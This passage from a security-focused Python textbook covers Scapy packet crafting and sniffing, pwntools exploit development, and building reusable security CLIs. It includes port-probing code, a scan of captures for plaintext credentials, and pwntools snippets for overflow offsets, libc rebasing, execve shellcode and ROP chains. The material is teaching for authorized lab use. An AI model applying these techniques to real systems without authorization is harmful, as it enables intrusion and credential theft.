• The hazmat layer of cryptography is named as a warning; using it correctly requires knowing Chapter 3 material.
• Authenticated encryption makes tampering fail loudly rather than silently producing wrong plaintext.

🧪 Practice

1. Hash the same password with SHA-256 and with scrypt, and time both to demonstrate the cost difference.
2. Write a token verification function using hmac.compare_digest and explain what a naive == would leak.
3. Generate a secure session token and a secure random password using secrets.
4. Interview-style: "A developer stores passwords as sha256(password + salt). What is wrong and what do you recommend?" Hint: the salt addresses precomputation but not speed; explain which attack remains viable and name a function designed to defeat it.

Scapy for Packet Crafting and Sniffing

Theory

Scapy lets you build, send, capture, and dissect network packets layer by layer from Python. It matters because it removes the gap between understanding a protocol and experimenting with it: you can construct a packet field by field and watch exactly what happens, which is the fastest way to learn how protocols actually behave and to test whether a control enforces what it claims.

The model is simple and elegant: packets are built by stacking layers with the / operator, so IP()/TCP()/Raw() composes a full packet. Fields you do not set are filled with sensible defaults, and Scapy computes checksums and lengths automatically. Reading a captured packet works the same way in reverse: pkt[TCP].flags reaches into a layer by name.

The core functions divide by layer. send() transmits at layer 3 (IP and above, letting the OS handle routing and Ethernet); sendp() transmits at layer 2 (you build the Ethernet frame). sr()/sr1() send and wait for a reply, with sr1() returning just the first answer, which is what you want for probes. sniff() captures, with a BPF filter string to limit what you process and a prn callback to handle each packet as it arrives.

Two practical notes: raw packet operations require root or CAP_NET_RAW, and Scapy is excellent for crafting and analysis but slow for bulk traffic, so use purpose-built tools when volume matters.

Everything here assumes a network you own or are explicitly authorized to test. Packet injection on a network you do not control is both unlawful in most jurisdictions and disruptive.

Examples

from scapy.all import IP, TCP, ICMP, DNS, DNSQR, Ether, sr1, sniff, rdpcap, wrpcap

# Layers stack with '/'; unset fields get sensible defaults
pkt = IP(dst="192.0.2.10") / TCP(dport=443, flags="S")
pkt.show()        # full field-by-field breakdown, including computed defaults

# A TCP SYN probe against a host you are authorized to test
from scapy.all import IP, TCP, sr1

def probe_port(host: str, port: int, timeout: float = 2.0) -> str:
    reply = sr1(IP(dst=host) / TCP(dport=port, flags="S"),
                timeout=timeout, verbose=0)
    if reply is None:
        return "filtered (no response)"
    if reply.haslayer(TCP):
        flags = reply[TCP].flags
        if flags & 0x12 == 0x12:      # SYN+ACK bits set
            return "open"
        if flags & 0x04:              # RST
            return "closed"
    return f"unexpected: {reply.summary()}"

# Sniffing with a BPF filter and a per-packet callback
from scapy.all import sniff, DNS, DNSQR, IP

def on_dns(pkt):
    if pkt.haslayer(DNSQR):                       # a DNS question record
        qname = pkt[DNSQR].qname.decode(errors="replace").rstrip(".")
        src = pkt[IP].src if pkt.haslayer(IP) else "?"
        # Very long labels are a classic DNS-tunnelling indicator
        longest = max((len(l) for l in qname.split(".")), default=0)
        marker = "  <- suspicious label length" if longest > 40 else ""
        print(f"{src:<15} {qname}{marker}")

# The filter runs in the kernel, so it is far cheaper than filtering in Python
sniff(filter="udp port 53", prn=on_dns, store=False, count=50)
#                                       └ store=False: do not accumulate
#                                         packets in memory during long captures

# Reading and analysing an existing capture (no privileges needed)
from scapy.all import rdpcap, IP, TCP
from collections import Counter

packets = rdpcap("capture.pcap")
print(f"{len(packets)} packets")

talkers = Counter()
for p in packets:
    if p.haslayer(IP):
        talkers[(p[IP].src, p[IP].dst)] += 1

for (src, dst), n in talkers.most_common(10):
    print(f"{n:>6}  {src} -> {dst}")

# Find plaintext credentials in an authorized capture of your own lab traffic
for p in packets:
    if p.haslayer(TCP) and p.haslayer("Raw"):
        payload = bytes(p["Raw"].load)
        if b"PASS " in payload or b"USER " in payload:
            print(p[IP].src, "->", p[IP].dst, payload[:80])

# Crafting a DNS query by hand -- useful for understanding the protocol
from scapy.all import IP, UDP, DNS, DNSQR, sr1

resp = sr1(
    IP(dst="9.9.9.9") / UDP(dport=53) /
    DNS(rd=1, qd=DNSQR(qname="example.com", qtype="A")),
    timeout=3, verbose=0,
)
if resp and resp.haslayer(DNS):
    for i in range(resp[DNS].ancount):
        print(resp[DNS].an[i].rdata)

Function	Layer	Purpose
send()	3	Transmit IP packets, OS handles routing
sendp()	2	Transmit Ethernet frames you construct
sr() / sr1()	3	Send and receive answers / first answer
srp() / srp1()	2	Same at layer 2
sniff()	—	Capture, with BPF filter and prn callback
rdpcap() / wrpcap()	—	Read and write capture files

Key Takeaways

• Packets are built by stacking layers with /, and Scapy fills unset fields and checksums automatically.
• sr1() is the probe primitive: send one packet, get the first reply.
• Use BPF filter strings so filtering happens in the kernel rather than in Python.
• Pass store=False to sniff() for long captures, or memory use grows without bound.
• Raw packet operations need root or CAP_NET_RAW; reading a pcap file does not.
• Scapy excels at crafting and analysis but is slow for high-volume traffic.
• Packet injection requires explicit authorization for the network involved; treat this as a lab-only capability by default.

🧪 Practice

1. Read a pcap file and produce a table of the top ten talking pairs by packet count.
2. Craft an ICMP echo request to a host you own and inspect the reply with .show().
3. Write a sniffer that flags DNS queries with unusually long labels, and explain why that pattern matters.
4. Interview-style: "Why would you use a BPF filter string rather than filtering packets in your Python callback?" Hint: consider which filter runs in the kernel and which runs in userspace, and what that difference costs in CPU time and dropped packets once traffic volume is high.

pwntools for Exploit Development

Theory

The topics in Chapter 5 come down to a repetitive mechanical core: talk to a process or a remote service, send precisely controlled bytes, pack addresses into the right width and byte order, parse what comes back, and do it again until the memory layout cooperates. Written from scratch in raw socket and struct, that boilerplate dwarfs the actual exploit logic and is where most beginner mistakes hide. pwntools is a CTF and exploit-development framework that collapses the boilerplate so you can concentrate on the vulnerability. It assumes a lab or competition target you are authorized to attack; everything here is the same register as the rest of Chapter 5.

The unifying abstraction is the tube: a bidirectional byte channel with one interface whether the other end is a local process, a remote socket, or an SSH-spawned program. The payoff is that an exploit developed against a local binary moves to the remote target by changing one line, because every send and receive call is identical across transports. On top of tubes, pwntools adds the primitives the work demands: integer packing that respects a global architecture context, ELF inspection to pull symbol and GOT addresses without hardcoding, ROP-chain construction, and assembling or disassembling machine code.

The single most important concept is context. Setting context.arch, context.os, and context.endian once configures the default behaviour of packing, assembly, and logging globally, so p64(0x401020) produces correctly ordered bytes for your target without you specifying endianness at every call. Forgetting to set context, or setting it wrong, is the most common reason a payload that looks right produces garbage.

Examples

from pwn import *

# Set the target architecture ONCE. Everything downstream respects it:
# packing width, byte order, shellcode assembly, and log formatting.
context.update(arch="amd64", os="linux", endian="little", log_level="info")

# Packing without the struct ceremony. Width comes from context (64-bit).
payload  = p64(0x4011f6)      # pack an address, little-endian, 8 bytes
payload += p32(0xdeadbeef)    # explicit 32-bit pack when you need it
leak = u64(b"\x10\x20\x40\x00\x00\x00\x00\x00")   # unpack 8 bytes -> int
print(hex(leak))              # 0x402010

# cyclic patterns: find an offset without manual counting.
# De Bruijn sequence -> every 4-byte (or 8-byte) window is unique.
pattern = cyclic(200)                  # send this as the overflow input
# ...the program crashes; read the value that landed in the saved return slot,
# e.g. the faulting address bytes were b"faaa":
offset = cyclic_find(b"faaa")          # exact distance to the overwrite point
print("padding needed:", offset)

from pwn import *
context.binary = elf = ELF("./target")   # setting context.binary also sets arch

# Pull addresses from the binary instead of hardcoding them. These update
# automatically if the binary is recompiled, which keeps an exploit portable.
print("main         :", hex(elf.symbols["main"]))
print("puts@GOT     :", hex(elf.got["puts"]))        # for a GOT overwrite
print("puts@PLT     :", hex(elf.plt["puts"]))        # to call puts
print("a 'sh' string:", hex(next(elf.search(b"/bin/sh\x00"), 0)))

libc = ELF("./libc.so.6")
# Given a leaked libc address of puts, rebase every libc symbol:
leaked_puts = 0x7f00_0008_4420
libc.address = leaked_puts - libc.symbols["puts"]    # compute the load base
print("system  :", hex(libc.symbols["system"]))
print("/bin/sh :", hex(next(libc.search(b"/bin/sh\x00"))))

from pwn import *
context.binary = "./target"

# One tube interface, three transports. Develop locally, then flip to remote
# by swapping ONLY the io = line -- every interaction below is unchanged.
io = process("./target")                 # local process
# io = remote("chal.ctf.example", 1337)  # remote service (authorized target)
# io = gdb.debug("./target", "b *main")  # under a debugger, with a script

io.recvuntil(b"name: ")                  # read up to a known prompt
io.sendline(b"A" * 40)                   # send a line (appends newline)
io.send(p64(0x401196))                   # send raw bytes, no newline
leak = u64(io.recvn(6).ljust(8, b"\x00")) # read exactly N bytes, then unpack
log.success("leaked address: %#x", leak)

io.interactive()                         # hand the shell/session to the user

from pwn import *
context.arch = "amd64"

# Assemble and disassemble inline -- useful for building stubs and for
# checking what bytes an instruction actually produces.
code = asm("xor rdi, rdi; mov rax, 60; syscall")   # exit(0)
print(enhex(code))                                 # 4831ff...

print(disasm(bytes.fromhex("4831ff")))             # xor rdi, rdi

# shellcraft generates architecture-specific shellcode for lab use.
sh = asm(shellcraft.amd64.linux.sh())              # execve("/bin/sh", 0, 0)
log.info("shellcode is %d bytes", len(sh))

# ROP: build a chain by naming calls, not by hand-assembling gadget addresses.
elf = context.binary = ELF("./target")
rop = ROP(elf)
rop.raise_(0)                       # resolve and chain a call
rop.call("puts", [elf.got["puts"]]) # leak puts@GOT via puts(puts@GOT)
print(rop.dump())                   # human-readable view of the chain
payload = b"A" * 72 + rop.chain()   # padding to the return slot, then the chain

pwntools construct	Replaces	Purpose
process / remote / gdb.debug	manual socket/subprocess	one tube interface across transports
context	per-call endianness/arch flags	global target configuration
p64 / u64 / p32	struct.pack/unpack	context-aware integer packing
cyclic / cyclic_find	manual offset counting	locate the overwrite offset
ELF	hand-copied addresses	read symbols, GOT, PLT, strings
ROP	manual gadget assembly	build chains by call, not address
asm / disasm / shellcraft	an external assembler	inline machine code for lab targets

Key Takeaways

• The tube abstraction unifies local, remote, and debugger I/O, so an exploit moves between them by changing one line.
• Set context once; it drives packing width, byte order, assembly, and logging, and a wrong context is the usual cause of correct-looking payloads failing.
• cyclic plus cyclic_find removes manual offset counting, which is where off-by-one mistakes creep in.
• Pull addresses from ELF symbols, GOT, and PLT rather than hardcoding them, so the exploit survives recompilation and relocation.
• ROP builds chains by the call you want rather than by hand-assembled gadget addresses.
• pwntools is for authorized targets only: CTF services, lab binaries, and systems you own or are explicitly scoped to test.
• The abstractions are convenience, not understanding; you still need the memory-corruption and mitigation material in Chapter 5 to know what to send.

🧪 Practice

1. Install pwntools in a virtual environment and use cyclic(100) with cyclic_find to determine the overflow offset of a small vulnerable binary you compile yourself with mitigations disabled.
2. Load a binary with ELF() and print the addresses of three imported functions from its GOT and PLT, then explain why each would be useful to an attacker.
3. Write an exploit against a local process() and convert it to run against a remote() service, confirming that only the tube line changes.
4. Interview-style: "A teammate's pwntools exploit works under gdb.debug but fails against the live remote service. What differences between the two environments would you investigate?" Hint: think about environment variables and the stack layout they affect, address randomization being effectively frozen under a debugger, timing and buffering of I/O, and library versions differing between your box and the target.

Writing Reusable Security Tooling and CLIs

Theory

Most security scripts are written once, used once, and lost. That is fine for a throwaway question during triage, but the scripts you reach for repeatedly deserve to become tools, and the difference is mostly interface discipline rather than clever code.

A reusable tool follows the same conventions as the Unix utilities it sits alongside, for the reasons covered in 2.1. It takes arguments rather than edited constants, so you do not modify source to change a target. It writes data to stdout and diagnostics to stderr, so it composes in a pipeline. It returns a meaningful exit status, so && and CI gates work. And it supports machine-readable output, because the tool's output is very often another tool's input.

That last point deserves emphasis. A scanner that prints a pretty table is useful to a human once; the same scanner with a --json flag becomes a building block you can diff between runs, feed to jq, load into a SIEM, or assert against in a pipeline. Offer both: human-readable by default, structured on request.

argparse from the standard library handles argument parsing, help text, and validation. For anything larger, click and typer reduce boilerplate further. Beyond the interface, three habits separate a tool that survives from one that does not: logging instead of scattered print calls, so verbosity is controllable; explicit error handling with distinct exit codes so failures are diagnosable; and tests, which matter more than usual here because a security tool that silently reports "no findings" due to a bug is worse than no tool at all.

A final operational note: build in rate limiting and a --dry-run for anything that touches a target. Tools get pointed at production by people who did not write them.

Examples

#!/usr/bin/env python3
"""header-audit -- check HTTP security headers across a list of hosts.

Exit codes:
  0  all hosts passed
  1  one or more findings
  2  usage or configuration error
  3  all requests failed (likely network/connectivity problem)
"""
from __future__ import annotations

import argparse
import json
import logging
import sys
from dataclasses import dataclass, asdict

import requests

LOG = logging.getLogger("header-audit")

REQUIRED_HEADERS = {
    "strict-transport-security": "HSTS not set",
    "content-security-policy": "CSP not set",
    "x-content-type-options": "MIME sniffing not disabled",
}


@dataclass(frozen=True)
class Finding:
    url: str
    header: str
    message: str


def audit(url: str, timeout: float, session: requests.Session) -> list[Finding]:
    """Return findings for one URL. Network errors propagate to the caller."""
    resp = session.get(url, timeout=timeout)
    present = {k.lower() for k in resp.headers}
    return [
        Finding(url=url, header=h, message=msg)
        for h, msg in REQUIRED_HEADERS.items()
        if h not in present
    ]


def parse_args(argv: list[str] | None = None) -> argparse.Namespace:
    p = argparse.ArgumentParser(
        prog="header-audit",
        description="Check HTTP security headers across one or more hosts.",
        epilog="Example: header-audit --json https://example.com",
    )
    p.add_argument("urls", nargs="+", help="one or more URLs to audit")
    p.add_argument("--timeout", type=float, default=10.0,
                   help="per-request timeout in seconds (default: %(default)s)")
    p.add_argument("--json", action="store_true",
                   help="emit machine-readable JSON instead of text")
    p.add_argument("-v", "--verbose", action="count", default=0,
                   help="increase verbosity (-v, -vv)")
    return p.parse_args(argv)


def main(argv: list[str] | None = None) -> int:
    args = parse_args(argv)

    # Diagnostics go to stderr so stdout stays clean for the data.
    logging.basicConfig(
        level=[logging.WARNING, logging.INFO, logging.DEBUG][min(args.verbose, 2)],
        format="%(levelname)s %(message)s",
        stream=sys.stderr,
    )

    findings: list[Finding] = []
    failures = 0

    with requests.Session() as session:
        session.headers["User-Agent"] = "header-audit/1.0"
        for url in args.urls:
            LOG.info("auditing %s", url)
            try:
                findings.extend(audit(url, args.timeout, session))
            except requests.RequestException as exc:
                # Log and continue: one unreachable host must not abort the run.
                LOG.error("%s: request failed: %s", url, exc)
                failures += 1

    if failures == len(args.urls):          # nothing succeeded at all
        LOG.error("all %d requests failed", failures)
        return 3

    # Data to stdout, in the requested format.
    if args.json:
        json.dump([asdict(f) for f in findings], sys.stdout, indent=2)
        sys.stdout.write("\n")
    else:
        for f in findings:
            print(f"{f.url}\t{f.header}\t{f.message}")

    return 1 if findings else 0             # exit status drives CI gates


if __name__ == "__main__":
    sys.exit(main())                        # sys.exit propagates the code

# The payoff: the tool composes because it follows the conventions
header-audit https://example.com                      # human-readable
header-audit --json https://example.com | jq '.[].header'   # machine-readable

# Exit status makes it usable as a gate
header-audit https://staging.example.com && echo "headers OK" || echo "findings"

# Diagnostics stay out of the data stream
header-audit -vv https://example.com > findings.txt 2> run.log

# Diff two runs to see what changed after a deployment
diff <(header-audit --json "$URL" | jq -S .) baseline.json

# Tests matter more than usual: a security tool that silently finds nothing
# because of a bug is worse than no tool, because it creates false assurance.
# tests/test_audit.py
import requests
from header_audit import audit, main


class FakeResponse:
    def __init__(self, headers):
        self.headers = headers


class FakeSession:
    def __init__(self, headers):
        self._headers = headers

    def get(self, url, timeout):
        return FakeResponse(self._headers)


def test_reports_missing_headers():
    session = FakeSession({})                      # no security headers at all
    findings = audit("https://x.test", 1.0, session)
    assert {f.header for f in findings} == {
        "strict-transport-security",
        "content-security-policy",
        "x-content-type-options",
    }


def test_clean_host_has_no_findings():
    session = FakeSession({
        "Strict-Transport-Security": "max-age=63072000",
        "Content-Security-Policy": "default-src 'self'",
        "X-Content-Type-Options": "nosniff",
    })
    assert audit("https://x.test", 1.0, session) == []


def test_header_matching_is_case_insensitive():
    # Regression test: HTTP header names are case-insensitive, and a naive
    # implementation that compares them directly would report false findings.
    session = FakeSession({"STRICT-TRANSPORT-SECURITY": "max-age=1"})
    headers = {f.header for f in audit("https://x.test", 1.0, session)}
    assert "strict-transport-security" not in headers

Convention	Why it matters
Arguments, not edited constants	Reusable without modifying source
Data to stdout, logs to stderr	Composes in pipelines
Meaningful exit codes	Usable in && chains and CI gates
--json alongside human output	Becomes another tool's input
logging with -v levels	Verbosity controllable without code edits
main(argv) -> int	Testable without spawning a process
--dry-run and rate limiting	Safe when pointed at production by someone else

Key Takeaways

• Take configuration as arguments; a tool requiring source edits to retarget is a script, not a tool.
• Write data to stdout and diagnostics to stderr so the tool composes with everything in 2.1.
• Return meaningful exit codes, which is what makes a tool usable as a CI gate or in a shell conditional.
• Offer structured output alongside human-readable output; machine-readable results are what make a tool reusable.
• Use logging with verbosity flags rather than scattered print calls.
• Structure main(argv) -> int so the tool is testable in-process without subprocess invocation.
• Test security tooling specifically for false negatives; silently finding nothing creates false assurance.
• Add --dry-run and rate limiting to anything that touches a target, because someone else will point it at production.

🧪 Practice

1. Convert a script you have already written into a proper CLI with argparse, a --json flag, and meaningful exit codes.
2. Add a test suite to that tool, including at least one test that would catch a false negative.
3. Demonstrate your tool composing in a pipeline: pipe its JSON output through jq and gate on its exit status with &&.
4. Interview-style: "Your scanner reports zero findings against a target you know is vulnerable. How do you determine whether the target is clean or the tool is broken?" Hint: discuss testing against a known-vulnerable fixture, checking the tool's own error handling for silently swallowed exceptions, and why a tool that cannot distinguish "no findings" from "scan failed" is the real defect.

---

<a id="3-cryptography"></a>